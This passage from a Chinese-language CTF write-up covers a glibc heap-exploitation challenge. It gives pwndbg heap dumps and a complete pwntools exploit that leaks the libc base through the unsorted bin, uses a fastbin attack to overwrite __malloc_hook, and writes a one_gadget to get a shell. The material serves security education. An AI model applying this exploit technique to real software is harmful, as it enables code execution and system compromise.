| 0x54d0942169b0: 0x0000000000000001 0x0000000000000010 #index0 0x54d0942169c0: 0x0000555555757010 0x0000000000000001 #index1 0x54d0942169d0: 0x0000000000000010 0x0000555555757050 0x54d0942169e0: 0x0000000000000001 0x0000000000000010 #index2 0x54d0942169f0: 0x0000555555757090 0x0000000000000001 #index3 0x54d094216a00: 0x0000000000000010 0x0000555555757070 0x54d094216a10: 0x0000000000000000 0x0000000000000000 #index4(此处发生了改变) #(此处发生了改变) 0x54d094216a20: 0x0000000000000000 0x0000000000000001 #(此处发生了改变) #index5(此处发生了改变) 0x54d094216a30: 0x0000000000000080 0x0000555555757120
|
1-10、计算libc基址
这时查看我们的内存分布:
![image-20230809210453486](https://zhu-yuan.oss-cn-beijing.aliyuncs.com/Blog/image-20230809210453486.png)
libc基址与unsortedbin本身的地址的offest是不变的。为:
![image-20230809210800630](https://zhu-yuan.oss-cn-beijing.aliyuncs.com/Blog/image-20230809210800630.png)
3951480(十进制)== 0x3C4B78
还有另一种payloadd写法
1 2 3
| main_arena = 0x3c4b20 libc_base = unsorted_main_arena - (main_arena + 88) log.success("libc base addr: " + hex(libc_base))
|
在64位系统中unsorted_bin在main_arena+88的位置,32位为main_arena+48。
unsortbin 有一个特性,就是如果 usortbin 只有一个 bin ,它的 fd 和 bk 指针会指向同一个地址(unsorted bin 链表的头部),这个地址为 main_arena + 0x88 ,而且 main_arena 又相对 libc 固定偏移 0x3c4b20 ,所以得到这个fd的值,然后减去0x88再减去main_arena相对于libc的固定偏移,即得到libc的基地址。所以我们需要把 chunk 改成大于 fastbin 的大小,这样 free 后能进入 unsortbin 让我们能够泄露 libc 基址。
2、控制__malloc_hook
2-1、申请unsortedbin中的堆块
由于unsortedbin中有空闲的空间,因此申请空间之后会使用unsortedbin中的chunk。
看一下堆内存分布
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| pwndbg> x/50gx 0x555555757000 0x555555757000: 0x0000000000000000 0x0000000000000021 #index0 0x555555757010: 0x0000000000000000 0x0000000000000000 0x555555757020: 0x0000000000000000 0x0000000000000021 #index1 0x555555757030: 0x0000000000000000 0x0000000000000000 0x555555757040: 0x0000000000000000 0x0000000000000021 #index2 0x555555757050: 0x0000000000000000 0x0000000000000000 0x555555757060: 0x0000000000000000 0x0000000000000021 #index3 0x555555757070: 0x0000000000000000 0x0000000000000000 0x555555757080: 0x0000000000000000 0x0000000000000071 #index4(由unsortedbin分裂) 0x555555757090: 0x0000000000000000 0x0000000000000000 0x5555557570a0: 0x0000000000000000 0x0000000000000000 0x5555557570b0: 0x0000000000000000 0x0000000000000000 0x5555557570c0: 0x0000000000000000 0x0000000000000000 0x5555557570d0: 0x0000000000000000 0x0000000000000000 0x5555557570e0: 0x0000000000000000 0x0000000000000000 0x5555557570f0: 0x0000000000000000 0x0000000000000021 #index5(由unsortedbin分裂) 0x555555757100: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 0x555555757110: 0x0000000000000020 0x0000000000000090 #index6(原index5) 0x555555757120: 0x0000000000000000 0x0000000000000000 0x555555757130: 0x0000000000000000 0x0000000000000000 0x555555757140: 0x0000000000000000 0x0000000000000000 0x555555757150: 0x0000000000000000 0x0000000000000000 0x555555757160: 0x0000000000000000 0x0000000000000000 0x555555757170: 0x0000000000000000 0x0000000000000000 0x555555757180: 0x0000000000000000 0x0000000000000000 0x555555757190: 0x0000000000000000 0x0000000000000000 0x5555557571a0: 0x0000000000000000 0x0000000000020e61 #top_chunk
|
由于malloc(0x60),因为原unsortedbin中的chunk_size过大,因此unsortedbin中的chunk会利用并分裂成两个堆块,其中index5还是存放在unsortedbin中的:
![image-20230809212850254](https://zhu-yuan.oss-cn-beijing.aliyuncs.com/Blog/image-20230809212850254.png)
2-2、free(index4)
![image-20230809213053785](https://zhu-yuan.oss-cn-beijing.aliyuncs.com/Blog/image-20230809213053785.png)
2-3、修改index4的fd指针
1 2 3 4 5
|
payload = p64(libc_base+0x3c4aed) fill(2, payload)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| pwndbg> x/50gx 0x555555757000 0x555555757000: 0x0000000000000000 0x0000000000000021 #index0 0x555555757010: 0x0000000000000000 0x0000000000000000 0x555555757020: 0x0000000000000000 0x0000000000000021 #index1 0x555555757030: 0x0000000000000000 0x0000000000000000 0x555555757040: 0x0000000000000000 0x0000000000000021 #index2 0x555555757050: 0x0000000000000000 0x0000000000000000 0x555555757060: 0x0000000000000000 0x0000000000000021 #index3 0x555555757070: 0x0000000000000000 0x0000000000000000 0x555555757080: 0x0000000000000000 0x0000000000000071 #index4(fastbin) 0x555555757090: 0x00007ffff7dd1aed 0x0000000000000000 #更改index4的fd指针 0x5555557570a0: 0x0000000000000000 0x0000000000000000 0x5555557570b0: 0x0000000000000000 0x0000000000000000 0x5555557570c0: 0x0000000000000000 0x0000000000000000 0x5555557570d0: 0x0000000000000000 0x0000000000000000 0x5555557570e0: 0x0000000000000000 0x0000000000000000 0x5555557570f0: 0x0000000000000000 0x0000000000000021 #index5(unsortedbin) 0x555555757100: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 0x555555757110: 0x0000000000000020 0x0000000000000090 #index6 0x555555757120: 0x0000000000000000 0x0000000000000000 0x555555757130: 0x0000000000000000 0x0000000000000000 0x555555757140: 0x0000000000000000 0x0000000000000000 0x555555757150: 0x0000000000000000 0x0000000000000000 0x555555757160: 0x0000000000000000 0x0000000000000000 0x555555757170: 0x0000000000000000 0x0000000000000000 0x555555757180: 0x0000000000000000 0x0000000000000000 0x555555757190: 0x0000000000000000 0x0000000000000000 0x5555557571a0: 0x0000000000000000 0x0000000000020e61 #top_chunk
|
![image-20230809213758104](https://zhu-yuan.oss-cn-beijing.aliyuncs.com/Blog/image-20230809213758104.png)
2-4、控制__malloc_hook
1 2 3
| alloc(0x60) alloc(0x60)
|
1 2 3 4 5 6 7 8 9
| pwndbg> x/16gx 0x00007ffff7dd1aed 0x7ffff7dd1aed <_IO_wide_data_0+301>: 0xfff7dd0260000000 0x000000000000007f 0x7ffff7dd1afd: 0xfff7a92ea0000000 0xfff7a92a7000007f 0x7ffff7dd1b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000 0x7ffff7dd1b1d: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b2d <main_arena+13>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b3d <main_arena+29>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b4d <main_arena+45>: 0x2ea0000000000000 0x0000000000fff7a9 0x7ffff7dd1b5d <main_arena+61>: 0x0000000000000000 0x0000000000000000
|
2-5、写入one_gadget并getshell
![image-20230809214941586](https://zhu-yuan.oss-cn-beijing.aliyuncs.com/Blog/image-20230809214941586.png)
本机上的onegadget有多种的话,要都试一下,我的是0x4527a。
1 2 3 4 5
| payload = p8(0)*3 payload += p64(0)*2 payload += p64(libc_base+0x4527a) fill(6, payload)
|
执行payload之前
1 2 3 4 5 6 7 8 9
| pwndbg> x/16gx 0x00007ffff7dd1aed 0x7ffff7dd1aed <_IO_wide_data_0+301>: 0xfff7dd0260000000 0x000000000000007f 0x7ffff7dd1afd: 0xfff7a92ea0000000 0xfff7a92a7000007f 0x7ffff7dd1b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000 0x7ffff7dd1b1d: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b2d <main_arena+13>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b3d <main_arena+29>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b4d <main_arena+45>: 0x2ea0000000000000 0x0000000000fff7a9 0x7ffff7dd1b5d <main_arena+61>: 0x0000000000000000 0x0000000000000000
|
执行payload之后
1 2 3 4 5 6 7 8 9
| pwndbg> x/16gx 0x00007ffff7dd1aed 0x7ffff7dd1aed <_IO_wide_data_0+301>: 0xfff7dd0260000000 0x000000000000007f 0x7ffff7dd1afd: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b0d <__realloc_hook+5>: 0xfff7a5227a000000 0x000000000000007f 0x7ffff7dd1b1d: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b2d <main_arena+13>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b3d <main_arena+29>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b4d <main_arena+45>: 0x2ea0000000000000 0x0000000000fff7a9 0x7ffff7dd1b5d <main_arena+61>: 0x0000000000000000 0x0000000000000000
|
1 2 3 4
| alloc(255)
p.interactive()
|
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120
|
from pwn import * p = process('./pwn1') elf = ELF('./pwn1')
def alloc(size): p.recvuntil("Command: ") p.sendline("1") p.recvuntil("Size: ") p.sendline(str(size)) def fill(idx, content): p.recvuntil("Command: ") p.sendline("2") p.recvuntil("Index: ") p.sendline(str(idx)) p.recvuntil("Size: ") p.sendline(str(len(content))) p.recvuntil("Content: ") p.send(content) def free(idx): p.recvuntil("Command: ") p.sendline("3") p.recvuntil("Index: ") p.sendline(str(idx)) def dump(idx): p.recvuntil("Command: ") p.sendline("4") p.recvuntil("Index: ") p.sendline(str(idx)) p.recvline() return p.recvline() def unsorted_offset_arena(idx): word_bytes = context.word_size / 8 offset = 4 offset += 4 offset += word_bytes * 10 offset += word_bytes * 2 offset += idx * 2 * word_bytes offset -= word_bytes * 2 return offset
alloc(0x10) alloc(0x10) alloc(0x10) alloc(0x10) alloc(0x80)
free(1) free(2)
payload = p64(0)*3 payload += p64(0x21) payload += p64(0)*3 payload += p64(0x21) payload += p8(0x80) fill(0, payload)
payload = p64(0)*3 payload += p64(0x21) fill(3, payload)
alloc(0x10) alloc(0x10)
payload = p64(0)*3 payload += p64(0x91) fill(3, payload)
alloc(0x80)
free(4)
unsorted_offset_mainarena=unsorted_offset_arena(5) unsorted_addr=u64(dump(2)[:8].strip().ljust(8, "\x00")) libc_base=unsorted_addr-0x3c4b20-unsorted_offset_mainarena log.info("libc_base: "+hex(libc_base))
alloc(0x60)
free(4)
payload = p64(libc_base+0x3c4aed) fill(2, payload)
alloc(0x60) alloc(0x60)
payload = p8(0)*3 payload += p64(0)*2 payload += p64(libc_base+0x4527a) fill(6, payload)
alloc(255)
p.interactive()
|
![image-20230809215449496](https://zhu-yuan.oss-cn-beijing.aliyuncs.com/Blog/image-20230809215449496.png)